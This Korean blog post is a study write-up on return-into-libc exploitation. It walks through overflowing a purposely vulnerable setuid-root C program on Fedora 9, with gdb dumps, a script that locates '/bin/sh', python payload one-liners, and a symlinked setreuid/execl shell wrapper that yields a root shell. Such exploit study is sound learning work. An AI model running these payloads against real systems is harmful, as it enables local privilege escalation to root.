RTL(Returning into libc) 스터디 – 2

문제 환경은 아래와 같습니다.

[byjjoon@ByJJoon RTL]$ cat /etc/redhat-release 
Fedora release 9 (Sulphur)
[byjjoon@ByJJoon RTL]$ sysctl -a | grep random
-bash: sysctl: command not found
[byjjoon@ByJJoon RTL]$ /sbin/sysctl -a | grep random
error: permission denied on key 'kernel.cad_pid'
kernel.random.poolsize = 4096
kernel.random.entropy_avail = 606
kernel.random.read_wakeup_threshold = 64
kernel.random.write_wakeup_threshold = 128
kernel.random.boot_id = aa842921-f1e2-416e-8a72-240fa7054ae5
kernel.random.uuid = 0f6a6b7f-11ed-4ba4-8b27-94cfbe6b62bb
kernel.randomize_va_space = 2
[byjjoon@ByJJoon RTL]$ /sbin/sysctl -a | grep exec
error: permission denied on key 'kernel.cad_pid'
kernel.exec-shield = 1
kernel.sched_domain.cpu0.domain0.forkexec_idx = 0
kernel.sched_domain.cpu1.domain0.forkexec_idx = 0
[byjjoon@ByJJoon RTL]$ 

문제 소스는 이전 레드헷 9 환경에서 했던 코드와 같으며 컴파일 시 "-mpreferred-stack-boundary=2" 옵션을 사용하여 컴파일을 하였습니다.

int main(int argc, char *argv[])
{
    char buffer[5];
    strcpy(buffer, argv[1]);
    return 0;
}

우선 system() 함수의 주소를 확인하도록 합니다.

[root@ByJJoon RTL]# ls -al vuln
-rwsrwsr-x 1 root root 4860 2010-06-19 04:33 vuln
[root@ByJJoon RTL]# exit
exit
[byjjoon@ByJJoon RTL]$ gdb -q vuln
(no debugging symbols found)
(gdb) b main
Breakpoint 1 at 0x80483d2
(gdb) r
Starting program: /home/byjjoon/RTL/vuln 
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x080483d2 in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/x system
0x92b8d0 <system>:      0x890cec83
(gdb) 

이제 "/bin/sh" 문자열의 주소를 확인합니다. 확인하는 방법은 system() 함수는 내부에 "/bin/sh" 문자열을 가지고 있으므로 아래 코드를 이용하여 확인할 수 있습니다.

#include<stdio.h>
#include<stdlib.h>
int main(){
    char *ptr = 0x92b8d0; // system() 주소

    while(1){
        if( (strncmp(ptr,"/bin/sh",7))==0){
            printf("%p : %s\n",ptr,ptr);
            return 0;
        }
        ptr++;
    }
    return 0;
}

위 코드를 이용하여 "/bin/sh" 주소를 확인해보면 아래와 같습니다.

[byjjoon@ByJJoon RTL]$ gcc find_binsh.c 
[byjjoon@ByJJoon RTL]$ ./a.out 
Segmentation fault
[byjjoon@ByJJoon RTL]$ ./a.out 
"/bin/sh" is at 0xa2b1bf
print /bin/sh
[byjjoon@ByJJoon RTL]$

이제 공격에 필요한 주소들을 모두 확인하였습니다. 그럼 RET 위치를 확인해 보도록 하겠습니다.

[byjjoon@ByJJoon RTL]$ gdb vuln
GNU gdb Fedora (6.8-24.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    sub    $0x10,%esp
0x080483ca <main+6>:    mov    0xc(%ebp),%eax
0x080483cd <main+9>:    add    $0x4,%eax
0x080483d0 <main+12>:   mov    (%eax),%eax
0x080483d2 <main+14>:   mov    %eax,0x4(%esp)
0x080483d6 <main+18>:   lea    -0x5(%ebp),%eax
0x080483d9 <main+21>:   mov    %eax,(%esp)
0x080483dc <main+24>:   call   0x80482f4 <strcpy@plt>
0x080483e1 <main+29>:   mov    $0x0,%eax
0x080483e6 <main+34>:   leave  
0x080483e7 <main+35>:   ret    
End of assembler dump.
(gdb) b *main+35
Breakpoint 1 at 0x80483e7
(gdb) r `python -c "print 'A'*10"`
Starting program: /home/byjjoon/RTL/vuln `python -c "print 'A'*10"`
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x080483e7 in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/32wx $esp
0xbffff74c:     0x00900041      0x00000002      0xbffff7d4      0xbffff7e0
0xbffff75c:     0x008f0810      0x00000000      0x00000001      0x00000001
0xbffff76c:     0x00000000      0x00a57ff4      0x00000000      0x08048310
0xbffff77c:     0xbffff7a8      0x26781441      0xf8bd833f      0x00000000
0xbffff78c:     0x00000000      0x00000000      0x008e74e0      0x009094fd
0xbffff79c:     0x008effc0      0x00000002      0x08048310      0x00000000
0xbffff7ac:     0x08048331      0x080483c4      0x00000002      0xbffff7d4
0xbffff7bc:     0x08048400      0x080483f0      0x008e1dd0      0xbffff7cc
(gdb) r `python -c "print 'A'*13"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/byjjoon/RTL/vuln `python -c "print 'A'*13"`
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x080483e7 in main ()
(gdb) x/32wx $esp
0xbffff74c:     0x41414141      0x00000000      0xbffff7d4      0xbffff7e0
0xbffff75c:     0x008f0810      0x00000000      0x00000001      0x00000001
0xbffff76c:     0x00000000      0x00a57ff4      0x00000000      0x08048310
0xbffff77c:     0xbffff7a8      0x6f83fc10      0xb1466b6e      0x00000000
0xbffff78c:     0x00000000      0x00000000      0x008e74e0      0x009094fd
0xbffff79c:     0x008effc0      0x00000002      0x08048310      0x00000000
0xbffff7ac:     0x08048331      0x080483c4      0x00000002      0xbffff7d4
0xbffff7bc:     0x08048400      0x080483f0      0x008e1dd0      0xbffff7cc
(gdb) q
The program is running.  Exit anyway? (y or n) y
[byjjoon@ByJJoon RTL]$

13개 입력 시 모두 덮혔으므로 아래와 같이 구성될 수 있습니다.
[AAAAAAAAA] + [RET]

그럼 이제 공격을 해보도록 하겠습니다. 공격은 아래와 같은 구성으로 하도록 하겠습니다.
[AAAAAAAAA] + [system() 주소] + [JUNK] + [/bin/sh 주소]

[byjjoon@ByJJoon RTL]$ ./vu `python -c "print 'A'*9 + '\xd0\xb8\x92\x00' + 'BBBB' + '\xbf\xb1\xa2\x00'"`
Segmentation fault (core dumped)
[byjjoon@ByJJoon RTL]$ gdb vu core.1825
core.18252  core.18255  
[byjjoon@ByJJoon RTL]$ gdb vu core.18255
GNU gdb Fedora (6.8-24.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
(no debugging symbols found)
Core was generated by `./ln AAAAAAAAAи?BBBB¿±¢'.
Program terminated with signal 11, Segmentation fault.
[New process 18255]
#0  0x4292b8d0 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) bt
#0  0x4292b8d0 in ?? ()
#1  0xbf424242 in ?? ()
#2  0xbf00a2b1 in ?? ()
#3  0xbffff800 in ?? ()
#4  0x008f0810 in ?? ()
#5  0x00000000 in ?? ()
(gdb) x/32wx $esp
0xbffff770:     0xbf424242      0xbf00a2b1      0xbffff800      0x008f0810
0xbffff780:     0x00000000      0x00000001      0x00000001      0x00000000
0xbffff790:     0x00a57ff4      0x00000000      0x08048310      0xbffff7c8
0xbffff7a0:     0x183bcd75      0xc6fe1a0b      0x00000000      0x00000000
0xbffff7b0:     0x00000000      0x008e74e0      0x009094fd      0x008effc0
0xbffff7c0:     0x00000002      0x08048310      0x00000000      0x08048331
0xbffff7d0:     0x080483c4      0x00000002      0xbffff7f4      0x08048400
0xbffff7e0:     0x080483f0      0x008e1dd0      0xbffff7ec      0x00000000
(gdb) x/32wx $esp-10
0xbffff766:     0x41414141      0xb8d04141      0x42424292      0xa2b1bf42
0xbffff776:     0xf800bf00      0x0810bfff      0x0000008f      0x00010000
0xbffff786:     0x00010000      0x00000000      0x7ff40000      0x000000a5
0xbffff796:     0x83100000      0xf7c80804      0xcd75bfff      0x1a0b183b
0xbffff7a6:     0x0000c6fe      0x00000000      0x00000000      0x74e00000
0xbffff7b6:     0x94fd008e      0xffc00090      0x0002008e      0x83100000
0xbffff7c6:     0x00000804      0x83310000      0x83c40804      0x00020804
0xbffff7d6:     0xf7f40000      0x8400bfff      0x83f00804      0x1dd00804
(gdb) 

공격이 성공되지 않아 확인을 해보니 입력한 \x00 가 정상적으로 입력되지 않았습니다. 그 이유는 argv로 입력을 받을 시 \x00는 입력을 하지 못한다고 하네요. 그래서 문제 소스를 조금 변경하여 해보도록 하겠습니다.

int main()
{
      char buffer[5];
      gets(buffer);
      return 0;
}

기존 argv를 통해 입력받던 것을 gets 함수를 이용하여 입력받도록 수정하여 공격을 하도록 하겠습니다.

[root@ByJJoon RTL]# gcc -o vuln vuln.c -mpreferred-stack-boundary=2
/tmp/cc60gzkD.o: In function `main':
vuln.c:(.text+0xd): warning: the `gets' function is dangerous and should not be used.
[root@ByJJoon RTL]# chmod +s vuln
[root@ByJJoon RTL]# ls -al vuln
-rwsrwsr-x 1 root root 4810 2010-06-19 04:53 vuln
[root@ByJJoon RTL]# 

위와 같은 옵션을 통해 컴파일 후 setuid를 걸어 줬습니다. 이제 공격을 해보도록 하겠습니다.

[byjjoon@ByJJoon RTL]$ (python -c "print 'A'*9 + '\xd0\xb8\x92\x00' + 'BBBB' + '\xbf\xb1\xa2\x00'"; cat) | ./vuln
id
uid=500(byjjoon) gid=500(byjjoon) groups=500(byjjoon)
^C
Segmentation fault
[byjjoon@ByJJoon RTL]$ 

쉘은 획득을 하였으나 권한을 못받아 오는걸 볼 수 있습니다. 하지만 이전 포스팅(RTL(Returning into libc) 스터디 - 1) 에서의 방법과 같이 공격을 하면 권한을 그대로 받아 올 수 있습니다.

먼저 shell.c 코드를 작성 후 심볼릭 링크를 걸 주소를 확인합니다.

[byjjoon@ByJJoon RTL]$ cat shell.c 
int main()
{
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());
        execl("/bin/bash", "sh", 0);
}

[byjjoon@ByJJoon RTL]$ gcc -o shell shell.c 
shell.c: In function ‘main’:
shell.c:5: warning: incompatible implicit declaration of built-in function ‘execl’
[byjjoon@ByJJoon RTL]$ objdump --dynamic-reloc vuln

vuln:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
080495e4 R_386_GLOB_DAT    __gmon_start__
080495f4 R_386_JUMP_SLOT   __gmon_start__
080495f8 R_386_JUMP_SLOT   gets
080495fc R_386_JUMP_SLOT   __libc_start_main

[byjjoon@ByJJoon RTL]$ gdb -q vuln
(no debugging symbols found)
(gdb) b main
Breakpoint 1 at 0x80483ba
(gdb) r
Starting program: /home/byjjoon/RTL/vuln 
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x080483ba in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/32wx 0x080495f8
0x80495f8 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482e6      0x009094f0      0x00000000      0x00000000
0x8049608 <dtor_idx.5701>:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049618:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049628:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049638:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049648:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049658:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049668:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/32wx 0x080495f8-16
0x80495e8 <_GLOBAL_OFFSET_TABLE_>:      0x0804951c      0x008f0658      0x008e74d0      0x080482d6
0x80495f8 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482e6      0x009094f0      0x00000000      0x00000000
0x8049608 <dtor_idx.5701>:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049618:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049628:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049638:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049648:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049658:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/32wx 0x0804951c
0x804951c <_DYNAMIC>:   0x00000001      0x00000010      0x0000000c      0x08048290
0x804952c <_DYNAMIC+16>:        0x0000000d      0x0804846c      0x6ffffef5      0x0804818c
0x804953c <_DYNAMIC+32>:        0x00000005      0x080481fc      0x00000006      0x080481ac
0x804954c <_DYNAMIC+48>:        0x0000000a      0x0000004a      0x0000000b      0x00000010
0x804955c <_DYNAMIC+64>:        0x00000015      0x008f0644      0x00000003      0x080495e8
0x804956c <_DYNAMIC+80>:        0x00000002      0x00000018      0x00000014      0x00000011
0x804957c <_DYNAMIC+96>:        0x00000017      0x08048278      0x00000011      0x08048270
0x804958c <_DYNAMIC+112>:       0x00000012      0x00000008      0x00000013      0x00000008
(gdb) q
The program is running.  Exit anyway? (y or n) y

심볼릭링크를 주소를 확인했으니 이제 심볼릭 링크를 걸도록 하겠습니다.

[byjjoon@ByJJoon RTL]$ ln -s shell `python -c "print '\x01'"`
[byjjoon@ByJJoon RTL]$ ls -al
total 64
drwxrwxr-x  2 byjjoon byjjoon 12288 2010-06-26 00:17 .
drwx------ 16 byjjoon byjjoon 28672 2010-06-26 00:13 ..
lrwxrwxrwx  1 byjjoon byjjoon     5 2010-06-25 23:59 ? -> shell
-rwxrwxr-x  1 byjjoon byjjoon  5274 2010-06-26 00:13 shell
-rw-rw-r--  1 byjjoon byjjoon   133 2010-06-26 00:13 shell.c
-rwsrwsr-x  1 root    root     4810 2010-06-19 04:53 vuln
-rw-r--r--  1 byjjoon byjjoon    73 2010-06-19 04:51 vuln.c

심볼릭링크를 걸었으니 이제 필요한 execl() 함수 주소를 확인 후 공격을 해보도록 하겠습니다.

[byjjoon@ByJJoon RTL]$ gdb vuln
GNU gdb Fedora (6.8-24.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) b main
Breakpoint 1 at 0x80483ba
(gdb) r
Starting program: /home/byjjoon/RTL/vuln 
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x080483ba in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/x execl
0x98dd20 <execl>:       0x53565755
(gdb) q
The program is running.  Exit anyway? (y or n) y
[byjjoon@ByJJoon RTL]$ (python -c"print 'A'*9 + '\x20\xdd\x98\x00' + '\x1c\x95\x04\x08'*2"; cat) | ./vuln
id
uid=0(root) gid=0(root) groups=500(byjjoon)
q
sh: line 2: q: command not found
^C 
[byjjoon@ByJJoon RTL]$ 

권한을 그대로 받아 오는것을 볼 수 있습니다... 🙂

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다